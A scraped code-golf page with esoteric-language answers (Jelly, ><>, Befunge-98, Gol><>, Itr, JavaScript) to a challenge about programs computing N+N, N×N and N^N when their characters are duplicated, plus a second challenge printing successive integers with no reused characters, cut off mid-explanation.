[Question] [ Write a program that takes in a number N from 1 to 9 inclusive. In its native form your program should output N+N. E.g. output `2` if N is `1`, `4` if N is `2`, `6` if N is `3`, and so on. When every character in your program is duplicated in place, then it should be a program that takes in N (still from 1 to 9) and outputs N×N. E.g. output `1` if N is `1`, `4` if N is `2`, `9` if N is `3`, and so on. When every character in your program is triplicated in place, then it should be a program that takes in N (still from 1 to 9) and outputs N^N. E.g. output `1` if N is `1`, `4` if N is `2`, `27` if N is `3`, `387420489` if N is `9`, etc. Numbers above 9 aren't required because 10^10 is outside of many language's usual integer range. # Example If your initial program was ``` My_Program! Exit(); ``` Then it should be capable of taking in N and outputting N+N. Additionally, the program ``` MMyy__PPrrooggrraamm!! EExxiitt(());; ``` should take in N and output N×N. Finally, the program ``` MMMyyy___PPPrrrooogggrrraaammm!!! EEExxxiiittt((()));;; ``` should take in N and output N^N. Quadrupled-character programs and beyond are not required. # Rules * Input and output should be plain, normally formatted decimal numbers. You may answer using a different base to show off your code but then your answer is non-competitive. * Windows users may treat `\r\n` as one character since things like `\r\r\n\n` wouldn't make sense or perhaps even work. * **The shortest native program (the N+N one) in bytes wins.** [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 12 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ### N+N ``` “(ẹ+)‘FQṖṪỌv ``` [Try it online!](http://jelly.tryitonline.net/#code=4oCcKOG6uSsp4oCYRlHhuZbhuarhu4x2&input=&args=NA) ### N×N ``` ““((ẹẹ++))‘‘FFQQṖṖṪṪỌỌvv ``` [Try it online!](http://jelly.tryitonline.net/#code=4oCc4oCcKCjhurnhurkrKykp4oCY4oCYRkZRUeG5luG5luG5quG5quG7jOG7jHZ2&input=&args=NA) ### N^N ``` “““(((ẹẹẹ+++)))‘‘‘FFFQQQṖṖṖṪṪṪỌỌỌvvv ``` [Try it online!](http://jelly.tryitonline.net/#code=4oCc4oCc4oCcKCgo4bq54bq54bq5KysrKSkp4oCY4oCY4oCYRkZGUVFR4bmW4bmW4bmW4bmq4bmq4bmq4buM4buM4buMdnZ2&input=&args=NA) ## How it works Jelly has several different types of string literals; all of them start with a `“`. If the literal contains more than one `“`, a string array is returned, and `“` separates the strings from each other. For example, `“abc“def”` yields `['abc', 'def']`. Depending on the last character of the literal (any of `”«»‘’`, where `«` is currently unimplemented), one can choose between the different types of literals. For `‘`, we get the code points in [Jelly's code page](https://github.com/DennisMitchell/jelly/wiki/Code-page) instead of the corresponding Unicode characters. For example, `“abc“def‘` yields `[[97, 98, 99], [100, 101, 102]]`. The three literals in the programs correspond to the following code point arrays. ``` “(ẹ+)‘ -> [40, 214, 43, 41] ““((ẹẹ++))‘ -> [[], [40, 40, 214, 214, 43, 43, 41, 41]] “““(((ẹẹẹ+++)))‘ -> [[], [], [40, 40, 40, 214, 214, 214, 43, 43, 43, 41, 41, 41]] ``` ### N+N ``` “(ẹ+)‘FQṖṪỌv Main link. Argument: n “(ẹ+)‘ As before. F Flatten the array. Yields an integer array. Q Unique; deduplicate the integers. This yields [40, 214, 43, 41]. Ṗ Pop; remove the last element. Ṫ Tail; extract the last element. This yields 43, the Unicode code point of +. Ọ Unordinal; cast to character. v Eval; execute the character as a Jelly program with argument n. ``` ### N×N ``` ““((ẹẹ++))‘‘FFQQṖṖṪṪỌỌvv Main link. Argument: n ““((ẹẹ++))‘ As before. ‘ Increment all integers. FF Flatten the array. Yields an integer array. QQ Unique; deduplicate the integers. This yields [41, 215, 44, 42]. ṖṖ Pop twice; remove the last two elements. ṪṪ Tail; extract the last element. This yields 215, the Unicode code point of ×. ỌỌ Unordinal; cast to character. v Eval; execute the character as a Jelly program with argument n. v Eval; convert the return value (n×n) to a string and execute that string as a Jelly program with argument n. Since the string consists of a single integer literal, that integer is returned, ignoring the argument. ``` Note that `F`, `Q`, `Ṫ`, and `Ọ` do not alter 1D arrays, arrays without duplicates, integers, and characters (respectively). ### N^N ``` “““(((ẹẹẹ+++)))‘‘‘FFFQQQṖṖṖṪṪṪỌỌỌvvv Main link. Argument: n “““(((ẹẹẹ+++)))‘ As before. ‘‘ Increment all integers twice. FFF Flatten the array. Yields an integer array. QQQ Unique; deduplicate the integers. This yields [42, 216, 45, 43]. ṖṖṖ Pop thrice; remove the last three elements. ṪṪṪ Tail; extract the last element. This yields 42, the Unicode code point of *. ỌỌỌ Unordinal; cast to character. v Eval; execute the character as a Jelly program with argument n. vv Eval twice. See N×N. ``` [Answer] ## [><>](http://esolangs.org/wiki/Fish), 41 bytes ``` \< 1:: : &&* + i*n n c& %: 4l 0( .i n} &? ``` Try it online: **[N+N](http://fish.tryitonline.net/#code=XDwKMTo6IDoKJiYqICsKaSpuIG4KYyYKJToKNGwKMCgKLmkKbn0KJj8&input=OQ)**, **[N\*N](http://fish.tryitonline.net/#code=XFw8PAoKMTE6Ojo6ICA6OgoKJiYmJioqICArKwoKaWkqKm5uICBubgoKY2MmJgoKJSU6OgoKNDRsbAoKMDAoKAoKLi5paQoKbm59fQoKJiY_Pw&input=OQ)**, **[N^N](http://fish.tryitonline.net/#code=XFxcPDw8CgoKMTExOjo6Ojo6ICAgOjo6CgoKJiYmJiYmKioqICAgKysrCgoKaWlpKioqbm5uICAgbm5uCgoKY2NjJiYmCgoKJSUlOjo6CgoKNDQ0bGxsCgoKMDAwKCgoCgoKLi4uaWlpCgoKbm5ufX19CgoKJiYmPz8_&input=OQ)**. Assumes that the STDIN input is exactly one char. ><> is a 2D language, so we can make use of the fact that code semantics are mostly unchanged if we execute instructions downwards — the extra empty lines that ensue are just no-ops. The exception to this is the conditional trampoline `?` which pops a value and skips the next instruction if the value was nonzero — the extra newlines would mess up `?` due to the inserted no-ops, but we can get around this by putting the `?` at the end of a column and taking advantage of wrapping. To decide which operation to execute, the key is `40.`, which teleports the IP to position `(4, 0)`. Due to the expansion of the code, the `x = 4` column corresponds to `+` for the base program, `*` for the doubled program and `^` for the tripled program. Unfortunately ><> doesn't have exponentiation built in, making that the bulk of the program. ``` [Setup] \ Mirror: reflect IP direction to downwards 1& Put 1 into the register ic% Push a code point of input, then take it mod 12. This maps the char '1' to the number 1, and so forth for '2' to '9'. 40. Jump to (4, 0), still heading downwards [N+N version] :+ Duplicate then add n Output as number (Stack is now empty, so the program errors out trying to do the above again) [N*N version] :* Duplicate then multiply n Output as number (Stack is now empty, so the program errors out trying to do the above again) [N^N version] :&*& Multiply register by N :l( Push (N < length of stack + 1) i Push input, but since we're now at EOF this pushes -1 (stack length += 1) } Move -1 to the back ?< If (N < length + 1) was 1, execute the < to move leftward. Otherwise, skip it. (Continue loop) \ Mirror: reflect IP direction upwards &n Output register . Jump to (-1, N), which is invalid so the program errors out ``` [Answer] # [**TovTovTov**](https://github.com/yanivm/TovTovTov) (a mutation of [**Chicken**](https://web.archive.org/web/20180816190122/http://torso.me/chicken)): 810147050 bytes Described below are **two** suggested solutions: One *full* solution to the question requiring lots of bytes, and a second *partial* solution (solving only the *N+N* and *N\*N* parts, requiring only 484 bytes), each taking a different approach and its own set of cool tricks! :) ### 1. Full solution (810147050 bytes) Using `TovTovTov(TOV='hi',SEP=',')`, the `TOV` elements are immune to duplicating characters in place (both `"hihihi"` and `"hhiihhiihhii"` have three `"hi"`s in them, and all **`TovTovTov`** cares about is how many `TOV`s appear between `SEP`s). If we used `SEP=', '`, the entire program would be immune to character duplication (which is cool, but won't solve the question). So we use `SEP=','`. So the program `"hihihi,hi"`, for example, compiles to the ints array `[3,1]`, while `"hhiihhiihhii,,hhii"` compiles to `[3,0,1]` and `"hhiihhiihhii,,hhii"` to `[3,0,0,1]`. This means that the commands themselves don't change their meaning after duplication, but the overall length changes with character duplication. The solution below queries the length of the program and uses this to decide whether to print `N+N`, `N*N` or `N^N`. The suggested full solution, as ints array, is: `[6, 12, 9, 18, 9, 142, 11, 38, 8, 9, 260, 11, 73, 8, 22, 75, 7, 10, 14, 3, 1, 22, 24, 18, 15, 8, 10, 16, 3, 1, 22, 24, 18, 15, 8, 10, 45, 16, 7, 22, 3, 1, 22, 24, 18, 15, 8, 22, 3, 1, 22, 24, 18, 15, 8, 25, 3, 1, 22, 24, 18, 15, 8, 48, 3, 1, 22, 24, 18, 15, 8, 277, 3, 1, 22, 24, 18, 15, 8, 3146, 3, 1, 22, 24, 18, 15, 8, 46677, 3, 1, 22, 24, 18, 15, 8, 823564, 3, 1, 22, 24, 18, 15, 8, 16777237, 3, 1, 22, 24, 18, 15, 8, 387420510, 3, 1, 22, 24, 18, 15, 8]` As a string, it's a pretty long program, consisting of 810147050 characters, starting with: `hihihihihihi,hihihihihihihihihihihihi,hihihihihihihihihi,hihihihihihihihihihihihihihihihihihi,hihihihihihihihihi,hihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihih...` ### 2. Solving only the N+N and N\*N parts of the question (484 bytes) Using `TovTovTov(TOV='1',SEP=', ')`, this time the `SEP`s are immune to duplication (`",, "` still has just one `", "` in it), so the following suggested solution will always have 33 commands in it, even after character duplication: `1111, 111111111111111111111111111111111111111111111111, 1111111111, 1111111111, 1111111111, 111111, 111111111111, 111111111, 11111111111111, 111, 1, 1111111111111111111111, 111111111111111111111111, 111111111111111111, 111111111111111, 11111111, 111111111111, 1111111111111111, 111111111111111, 1111111111111111111111, 111111111111111111111111111111111111, 11, 1111111111111111111111111111, 111111, 111, 111111, 11111111111, 111111111111111111111111111, 1111, 1, 11111111, 1, 11111111` The corresponding ints array (the number of `TOV`s (`1`s) in each of the 33 commands above) is as follows: `[4,48,10,10,10,6,12,9,14,3,1,22,24,18,15,8,12,16,15,22,36,2,28,6,3,6,11,27,4,1,8,1,8]` Duplicating the characters in place results in a list of 33 **totally different commands**: `[8,96,20,20,20,12,24,18,28,6,2,44,48,36,30,16,24,32,30,44,72,4,56,12,6,12,22,54,8,2,16,2,16]` The original ints array (that calculates *N+N*) was designed *carefully* so that after the commands change their meaning, the program still makes sense, but calculates *N\*N*. For example, the first `4` (that **`TovTovTov`** understands as "treat the next op as an ascii code to convert to a character") changes after character duplication to `8`, which is a *totally different command* ("change the Program Counter to the first popped value from the stack, if the value popped immediately after is true"). [Answer] # [Befunge-98 (FBBI)](https://github.com/catseye/FBBI), ~~38~~ 41 bytes *(+3 bytes to fix bug, thanks Jo King!)* ``` vx:k::1-k*\/.@ 20@ j3. >^* >:^ >:+.@ ``` Try it online: [N+N](https://tio.run/##S0pNK81LT9W1tPj/v4xLrcIq28rKUDdbK0Zfz4HLyMCBK8tYj8suTovLzioOiLX1HP7/NwcA), [N\*N](https://tio.run/##S0pNK81LT9W1tPj/v6yMi0tNraLCyio72woIDA11dbOztbRiYvT19fQcHLi4jIwMDEB0VpaxsZ4eF5edXVyclhaItrKKi4PQ2togtf//mwMA), [N^N](https://tio.run/##PYw7CsAgEET7PYiF4r9IYiEeRCwCSUAhXcTbb5YImeoNM7z9OJ/7OuS2IvbeARhjY4wQQmstfLHWSimpcs5zzlprpVRKCQCcc8aYybVW7z1NxDHGUgr9J5OE6s9CiGlAXF4) This program won't work out-of-the-box since it requires input to be on the stack at the start of execution. By replacing the first line with the following code (adding three more bytes) it will take input from stdin: ``` v &x:k:2- ``` --- ## Explanation ### Setup ``` v Redirect motion downward 02j Jump over two instructions/spaces, executing the third If N=1, it will skip to the 6th line If N=2, it will skip to the 5th line If N=3, it will skip to the 4th line ``` ### N=1 ``` > Move right :+.@ Duplicate, add, print and exit ``` ### N=2 ``` >>::^^ Move right, duplicate twice, move up *.@ Multiply, print and exit ``` ### N=3 ``` >>>^^^ Redirect motion 30x Set instruction pointer delta to (3, 0), causing it to move right, executing every third instruction :k:: Duplicate the number (we'll call it M) M+2 times The stack is now [M]*(M+3) 1-k* Multiply things M times (`k' is a quirky instruction) \/ Divide that result by M (workaround for `k` being quirky) .@ Print and exit ``` [Answer] # [Gol><>](https://github.com/Sp3000/Golfish), ~~20~~ 18 bytes Unlike ><>, Gol><> actually has an exponentiation built-in. ``` \hh I : \\ \\\ X*+ ``` [Try it online!](https://tio.run/##S8/PScsszvj/PyYjg8uTy4orJgaIYrgitLT//zcGAA "Gol><> – Try It Online") [Try it online (doubled)!](https://tio.run/##S8/PScsszvj/PyYmAwi4uDw9ubisrLi4YoAAQoLoiAgtLW3t//@NAQ "Gol><> – Try It Online") [Try it online (tripled)!](https://tio.run/##S8/PScsszvj/PyYmJgMMuLi4PD09gaSVlRWQjAEDOAPCjoiI0NLS0tbW/v/fGAA "Gol><> – Try It Online") ## Explanation For the explanations here, I'll replace un-executed code with spaces. ``` \ Reflect the pointer down I Take an input : Copy the input \\ Series of mirrors... \\ That reflect to the addition part + Add the two numbers h (Wrapped around) Print, and Halt ``` ## Explanation (doubled) ``` \ Reflect down I Take input : Duplicate the stack \\ Set of mirrors... \\ That redirect to the * section * Multiply two numbers h (Wrapped around) Print + Halt ``` ## Explanation (tripled) ``` \ Reflect down I Take input : Duplicate input \\ Set of mirrors... \\ ... That redirect to the exponentiation section X Exponentiate the two values \h (Wrapped around) Reflect right to the Print + Halt statement ``` # [Gol><>](https://github.com/Sp3000/Golfish), 19 bytes A longer (and more boring) version based on the ><> solution. ``` v IX* + :hh h 4 0 . ``` [Try it online!](https://tio.run/##S8/PScsszvj/v4zLM0JLQZvLKiNDIYPLhMuAS@//f2MA "Gol><> – Try It Online") [Try it online (doubled)!](https://tio.run/##S8/PScsszvj/v6yMi8vTMyJCS0tBQVubi8vKKgMIFBQyMri4TEy4uAwMuLj09P7/NwYA "Gol><> – Try It Online") [Try it online (tripled)!](https://tio.run/##S8/PScsszvj/v6ysjIuLy9PTMyIiQktLS0FBQVtbGyhiZWWVAQYKCkACKGBiYgIkDQwMgKSent7//8YA "Gol><> – Try It Online") [Answer] # [Itr](https://github.com/bsoelch/OneChar.js/blob/main/ItrLang.md), 29 bytes `"L0#+â*;"0 0 0'+$©^#$0ååä0 0^` [online interpreter](https://bsoelch.github.io/OneChar.js/?lang=Itr&in=NQ==&src=IkwwIyviKjsiMCAwIDAnKySpXiMkMOXl5DAgMF4=) [doubled](https://bsoelch.github.io/OneChar.js/?lang=Itr&in=NQ==&src=IiJMTDAwIyMrK-LiKio7OyIiMDAgIDAwICAwMCcnKyskJKmpXl4jIyQkMDDl5eXl5OQwMCAgMDBeXg==) [tripled](https://bsoelch.github.io/OneChar.js/?lang=Itr&in=NQ==&src=IiIiTExMMDAwIyMjKysr4uLiKioqOzs7IiIiMDAwICAgMDAwICAgMDAwJycnKysrJCQkqampXl5eIyMjJCQkMDAw5eXl5eXl5OTkMDAwICAgMDAwXl5e) ## Explanation Relies on Itr's redefinition operator `$` (and the ability to redefine redefinition) to distinguish between the first and third case. Uses string literals to run independent code for the second case. [normal](https://bsoelch.github.io/OneChar.js/?lang=Itr&in=NQ==&src=IkwwIyviKjsiMCAwIDAnKySpXiMkMOXl5DAgMF4=): ``` "L0#+â*;"0 0 0'+$©^#$0ååä0 0^ "L0#+â*;" ; string literal 0 0 0 ; push zero 3 times '+$©^ ; redefine ^ to mean + #$0 ; read the input, store it in variable zero ååä ; stack operations 0 0^ ; Input + Input (after redefinition) ; implicit output ``` [doubled](https://bsoelch.github.io/OneChar.js/?lang=Itr&in=NQ==&src=IiJMTDAwIyMrK-LiKio7OyIiMDAgIDAwICAwMCcnKyskJKmpXl4jIyQkMDDl5eXl5OQwMCAgMDBeXg==): ``` ""LL00##++ââ**;;""00 00 00''++$$©©^^##$$00ååååää00 00^^ "" ; empty string LL ; push 1 two times (calling 'L' on number) 00 ; push zero ## ; read input, 2nd # will push zero as stdin is empty ++ ; add up the top 3 stack values (results in the input value) ââ ; "under" stack operation twice (1 1 X -> 1 X X 1 X ) ** ; multiply top three stack values, giving X*1*X=X*X ;; ; comment out the rest of the line ``` [tripled](https://bsoelch.github.io/OneChar.js/?lang=Itr&in=NQ==&src=IiIiTExMMDAwIyMjKysr4uLiKioqOzs7IiIiMDAwICAgMDAwICAgMDAwJycnKysrJCQkqampXl5eIyMjJCQkMDAw5eXl5eXl5OTkMDAwICAgMDAwXl5e): ``` """LLL000###+++âââ***;;;"""000 000 000'''+++$$$©©©^^^###$$$000ååååååäää000 000^^^ """LLL000###+++âââ***;;;""" ; 3 string literals 000 000 000 ; push zero 3 times '''+++$$ ; redefine the $ operator to be the string literal "R" $© ; call "R" consuming zero on stack ©© ; call 3rd zero and empty string on stack ^^^ ; power with basis zero -> will push (vector of) zeros ###$$$000ååååååäää000 000^^^ ; the actual computation ### ; read number and two implicit zero from stdin $$$ ; push string "R" 3 times 000 ; push zero åååååå ; discard the top 6 values on the stack äää ; duplicate top stack value (Input) 3 times 000 000 ; push zero twice ^^^ ; calculates X^(X^(0^0))= X^X ``` ]
[Question] [ ## Challenge: Your task is to write as many programs / functions / snippets as you can, where each one outputs / prints / returns an integer. The first program must output the integer `1`, the second one `2` and so on. **You can not reuse any characters between the programs. So, if the first program is: `x==x`, then you may not use the characters `x` and `=` again in any of the other programs.** Note: It's allowed to use the same character many times in one program. ### Scoring: The winner will be the submission that counts the highest. In case there's a tie, the winner will be the submission that used the fewest number of bytes in total. ### Rules: * You can only use a single language for all integers * **Snippets are allowed!** * To keep it fair, all characters must be encoded using a single byte in the language you choose. * The output must be in decimal. You may not output it with scientific notation or some other alternative format. Outputting floats is OK, as long as all digits *that are shown* behind the decimal point are `0`. So, `4.000` is accepted. Inaccuracies due to FPA is accepted, as long as it's not shown in the output. * `ans =`, leading and trailing spaces and newlines etc. are allowed. * You may disregard STDERR, as long as the correct output is returned to STDOUT * You may choose to output the integer to STDERR, but only if STDOUT is empty. * Symbol independent languages (such as [Lenguage](https://esolangs.org/wiki/Lenguage)) are disallowed * Letters are case sensitive `a != A`. * The programs must be independent * Whitespace can't be reused * You must use ASCII-digits in the output Explanations are encouraged! [Answer] ## JavaScript (ES7), score 17, 176 bytes They said it couldn't be done, so I did it :D (thanks to a lot of help from @FullDecent) ``` ""**"" ~(~/~//~/~/)/~/~/ 3 4 !NaN- -!NaN- -!NaN- -!NaN- -!NaN 6 7 8 9 ++[[]][+[]]+[+[]] 11 'lengthlength'.length 222>>2>>2 `${``^``}xE`^`` 0XF C=CSS==CSS;C<<C<<C<<C<<C 555555555555555555555%55 ``` Unused characters: ``` #&,:?@ABDGHIJKLMOPQRTUVWYZ\_bcdfijkmopqrsuvwyz| ``` I don't think 18 is possible, but I said the same thing about 17... ### Explanation JavaScript is a very weakly typed language; if you try to perform a mathematical operation on a non-number value, JS will try its hardest to convert it to a number first. This allows for a lot of interesting solutions. I've tried to avoid using the digits as much as possible so they can be used later on. 1. `**` is the exponentiation operator in ES7. The empty string when coerced to a number becomes `0`, so this calculates `0 ** 0`, which is `1` according to JavaScript. 2. A little ridiculous, but it works. `/~/` is a regex literal, and `~/~/` returns `-1`, so this is `~(-1 / -1) / -1` = `~(1) / -1` = `-2 / -1` = `2`. (credits to [@GOTO0](https://codegolf.stackexchange.com/a/124551/42545) for the idea) 3. Simply `3`. 4. Now simply `4`. 5. `NaN` is falsy, so `!NaN` is `true`, which is equivalent to `1`. The expression thus becomes `1 - -1 - -1 - -1 - -1` = `1 + 1 + 1 + 1 + 1` = `5`. 6. Simply `6`. 7. Simply `7`. 8. Simply `8`. 9. Simply `9`. 10. This uses a little [JSF\*\*\*](http://www.jsfuck.com/) magic. `+[]` is `0`, so `[[]][+[]]` returns the first element of `[[]]` (that is, `[]`), and `++` increments this to `1`. Then `+[+[]]` adds the array `[0]`, which is coerced to a *string* and makes `"10"`. 11. Simply `11`. I originally had used `11&1111` for 3 and `33/3` for 11 until I realized yet again just how dumb I am... 12. This strategy would work on any number: create a string of length `12` and use `.length`. 13. I just messed around with `2`s and `>`s for a while to get this one. I got lucky again: `222 >> 2` is `55`, and `55 >> 2` is `13`. 14. This one is rather tricky. The basic idea is to create `14` in hex (`0xE`), but we need the digit `0` elsewhere. So instead we prepend the result of ```^``` to the string `xE`; the empty string coerced to a number is `0`, so this returns `0 ^ 0` = `0`. Then the result is XORed with the empty string, which converts both values to numbers; `"0xE" ^ ""` is `14`. 15. This is now pretty easy: `0XF` is a hexadecimal literal with a value of `15`. 16. The trickiest of all? First we set the variable `C` to `CSS == CSS` (that is, `true`). Then we take the result and perform `<< C` four times, which basically multiplies `1` by `2 ** 4`. 17. JavaScript starts to lose integer precision at 253, which allows `555...555%55` to return a number that's not `0` or `5`. I happened to get very lucky while playing around here. Strategies that would work on many numbers: * `-!NaN` would work on any number (currently `5`), though it gets large very fast. * `~/~/` would work on any number (currently `2`), though it gets *very* large *very* fast. * `+[]` would work on any number (currently `10`), though it's by far easiest on `10` or `11`. * `.length` would work on any number. * ``${-``}xE`-``` would work on pretty much any number if you do it right. * `C<<C` would work on any power of two (currently `16`), or any int at all if you included `|`. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 47 integers, 519 bytes ``` e BI$⁼# ⁾⁾⁾Ụ^/ ı***ıḞḞ 5 6 7 .:::: 9 EȮ< ⁻GṘ =`p`VV×`DQV ~A~A~A~A~A~A~A~A~A~A~A~A~A ⁷ṾṾṾw ⁴ḟ€⁴Ṁ mmmmċ ṭṭṭṭṭṭṭṭḍḄḄḄḄḄḄḄḄḄ +Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ CNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNC ĖḌĖḌ ṫṣȦJṫȦ⁸ȦJ 22 “@ṃ» !ḤḤ! ³HH ØaM ;;;;;;;;;;;;;;;;;;;;;;;;;;;¬¬ḅ¬ irið8c ⁶ḲĠṂ°İṂĊ œṡ¹ẆẆTUṖṖṖṖP ȷ½RṪ LµdddddµFL 33 WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWŒḊ ẇɓæ«æ«æ«æ«æ«|æ«| ⁹ṚḢ² ‘‘‘0‘‘‘‘‘‘‘ ’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’ạ -____---__________ ”(O ⁵ḶxḶ⁵ị⁵ḶxḶḣṢ ⁽{ʂ%⁽{} ẊẠżv©żvżvżvọ®®Ạżvżvżvọ® 44 111111l11&K1111111Kl11& ,SS¶ỊỊ,ÇS¶ÇÑÇÇÇÑ ÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆnÆn ``` Every line is a separate, full program. [Try it online!](https://tio.run/##vVRbTxNBFH7m/IohCtvFpVDAG0oieEPBK4oPXqCxC6xpt5vdBSVeAqiQFHlAEkTjhVtIlEoAuey0wMNsSar/YvpH6tlubyESeTB@852Z78yZM3t2khmt3@wJq7VpJaSFdZMY/QageTW/2eNVVEPWTU@1RISqsGZWPZKDwX5BhC49HCIZh2TTMk6H3OcPSiTca2q9JoCmh7t1f8ggDUQXBCEtQ9Olw6nBrUOQGtxxyePzD6ogsVJRUZFY4dZnJByFY3AcvPUIOAnnk0uncX38IqdT0NCpdba32@86z91ohxeN@zVcv8npjsvH6K1x60tqKOoIOgAhRGIUOP3@Z1pj3Hq1H@EIp8P/wuDs1QM0SExy602mw4IXOZ1LLlxGkVxIDVoooaYGUgMfz3D6ksWhlFvzyFJgP5qbwZ7yX4FT@4NFWZRbr1kUFF2xl088xJPa4NZqYprTIbacWMYhEYHdCU5nGOWxYeSt25xO5nkdkpts@yan36CVrQccsPULrVBbC3f@it233IoAj438nLAX2OJee5bpsCTK6QduzbJV/NEpl9V5VUyMv//P5LEZqOxAVFZmBhdYyCfPNSx9nVsbT9AcFR8t@Nya43QWF2w//TVU5gzP8SAiPDa9u9XHvmLnksfH2BJbcueLpqCuDnwZBH2@8hZX@locB6S2NrbB4xGkZI@gtkfscTSnjYM9rB6caby1XkMLKqZHBOgK6yR7pRuJoua0UQ8lRaGmPaESpYsYsunJZYqkvNhvEolfDRT2LW3Ib@Qkl2i6ohaSpXwwW48Ho3K3rOcDovN5We0NybrflHOJhkR8Iu7nvkweoawmQOqJQMpINl/MxwoPWS5ZuntflHDPAL5jwj1VENO/AQ "Python 3 – Try It Online") (includes test suite and intersection checker) ## How it works Every full program without command-line arguments executes its main link (defined on the last line) niladically, i.e., without input. If the first link in the chain is a nilad, it is consumed, called, and both the main link's argument and return value are set to the result; if the first link in the chain is a monad or a dyad, it is *not* consumed and the implicit argument and return value **0** is used instead. In both cases, the remainder of the chain is executed monadically. Jelly mangles its output in several cases. Notably, a singleton array is printed without its surrounding brackets, so **42** and **[42]** and indistinguishable after printing. We'll use this on several occasions. ### 1 – 10 ``` e ``` The *exists* atom tests if the return value **0** belongs to the argument **0**. It does, so `e` returns **1**. ``` BI$⁼# ``` `BI$` is a quicklink, specifically a monadic chain formed by the quick `$` grouping the *binary* atom `B` and the *increments* atom `I`. Combined, they convert an integer into the array of its digits in base 2, then compute the forward differences of the resulting digits. If the array has only one element, there are no forward differences and `I` returns an empty array (falsy); if there are at least two digits, `I` returns a non-empty array (truthy). The quick `#` consumes the previous quicklink and applies it to **0**, **1, 2, …** until enough matches are found an returns the array of matches. The required amount is calculated by `⁼`, which compares the return value/argument **0** to itself, yielding **1**. Thus, the whole program returns **[2]**, the first non-negative integer with two digits in base 2. ``` ⁾⁾⁾Ụ^/ ``` `⁾⁾⁾` is a string literal, specifically the string **⁾⁾**. The *grade up* atom `Ụ` sorts its indices by their corresponding values; since both characters are equal, this yields **[1, 2]**. The resulting array is reduced with bitwise XOR `^/`, so the whole program returns **3**. ``` ı***ıḞḞ ``` `ı` initializes argument and return value to the imaginary unit **i**. `*` is the *exponentiation* dyad, whose right argument defaults to the main link's argument. Thus, `***ı` computes **((ii)i)i ≈ 4.81 + 0i**, the `Ḟ` atom (*floor* for real arguments, *real part* for complex ones) computes the real part (**4.81**), then `Ḟ` floors, yielding **4**. ``` 5 6 7 ``` These three programs consist of a single literal and do exactly what you'd expect. ``` .:::: ``` The literal `.` is a shorthand for **0.5** and initializes argument and return value. The *integer division* dyad's (`:`) right argument defaults to the main links argument, so `::::` computes **0.5/0.5/0.5/0.5/0.5**, yielding **8**. ``` 9 ``` Another literal. ``` EȮ< ``` The *all equal* atom `E` returns **1** if all elements in its argument are equal, and **0** if not. An integer argument **z** is promoted to **[z]**, so `E` will returns **1** for the implicit argument **0**. Now, the *output* atom `Ȯ` prints **1** to STDOUT. We then compare **1** with the implicit argument **0** using the *less than* atom `<`. The result is **(1 < 0) = 0**, and it is printed implicitly when the program finishes. ### 11 – 20 ``` ⁻GṘ ``` The *grid* atom `G` tries to make a visually pleasing table from its argument. For a plain integer argument (here: **0**), it simply wraps it in an array. The *flat not-equal* atom `⁻` compares the implicit argument **0** with the result to the right (**[0]**), yielding **1** since its arguments are not equal. The *representation* atom `Ṙ` prints **1** to STDOUT and returns its result. At the end of the program, the final return value is printed implicitly, so we end up with an output of **11**. ``` =`p`VV×`DQV ``` The *self* quick ``` turns a dyad into a monad by calling it with identical left and right arguments. First, `=`` compares the implicit argument **0** with itself, yielding **1**. The *Cartesian product* atom `p` expects lists as its arguments, so it promotes the integer **1** to the range **[1, …, 1] = [1]**. `p`` takes the Cartesian product of **[1]** and itself, yielding **[[1, 1]]**. The *eval* atom `V` turns all flat arrays (containing only numbers and characters) into strings, then evaluates the resulting strings as niladic Jelly programs. **[[1, 1]]** is first turned into **[“11”]**, then `V` evals the string, yielding **[11]**. Once more, `V` turns this array into **"11"**, then evals it to yield **11**. Now, `×`` multiplies **11** with itself, yielding **121**. The *decimal* atom turns **121** into **[1, 2, 1]**, the *unique* atom `Q` discards the second **1**, and `V` once more turns a list of digits into the integer that results from concatenating them, returning **12**. ``` ~A~A~A~A~A~A~A~A~A~A~A~A~A ``` `~` is the *bitwise NOT* atom. With two's complement arithmetic, it maps an argument **z** to **~z = -(z+1)**. `A` is the *absolute value* atom, so it maps **-(z+1) = z+1**. With the initial return value **0**, the thirteen copies of `~A` return **13**. ``` ⁷ṾṾṾw ``` The constant `⁷` holds the newline character **'\n'** and initializes the argument and return value. The *uneval* atom `Ṿ` attempts to create a string representation of its argument **z** such that a Jelly program consisting of this code would return **z**. The first call dutifully returns the string **"”\n"**, which is a character literal. The next call returns **"””,”\n"** – a pair of character literals. The third and final call returns **"””,””,”,,””,”\n"** – a quintuplet of character literals. Finally, the *window index* atom `w` promotes its right argument **'\n'** to the string **"\n"** and find the first index of a substring starting with **"\n"**. This returns **14**. ``` ⁴ḟ€⁴Ṁ ``` `⁴` is the constant **16**. The quicklink *filterfalse each* (`ḟ€`) promotes its left argument **16** to the range **[1, …, 16]**, then iterates over its elements. For each element **z**, `ḟ⁴` is executed, first promoting **z** to **[z]**, then removing all (if any) occurrences of **16**. This yields the array **[[1], [2], …, [14], [15], []]**, where the last array is empty because it contained **16**. Finally, the *maximum* atom `Ṁ` selects **[15]**. ``` mmmmċ ``` The *modular* atom `m` – called with arguments **x** (array) and **y** (integer) usually takes every **|y|**th element of **x**, starting with the first if **y > 0**, with the last if **y < 0**. However, when **y = 0**, it returns **x** concatenated with its reverse. The left integer argument **0** is first promoted to **[0]**. The first copy of `m` concatenates **[0]** with itself, yielding **[0, 0]**. The remaining copies turn this result into **[0, 0, 0, 0]**, then **[0, 0, 0, 0, 0, 0, 0, 0]**, and finally **[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]**. At last, the *count* atom `ċ` counts the number of times the implicit argument **0** appears in the resulting array, returning **16**. ``` ṭṭṭṭṭṭṭṭḍḄḄḄḄḄḄḄḄḄ ``` `ṭ` is the *tack* atom and appends its left argument to its right one. Since `ṭ` and the following `ḍ` are dyadic, all calls to `ṭ` pass the implicit argument **0** as the right argument to `ṭ`. The first call returns **[0, 0]**, the second 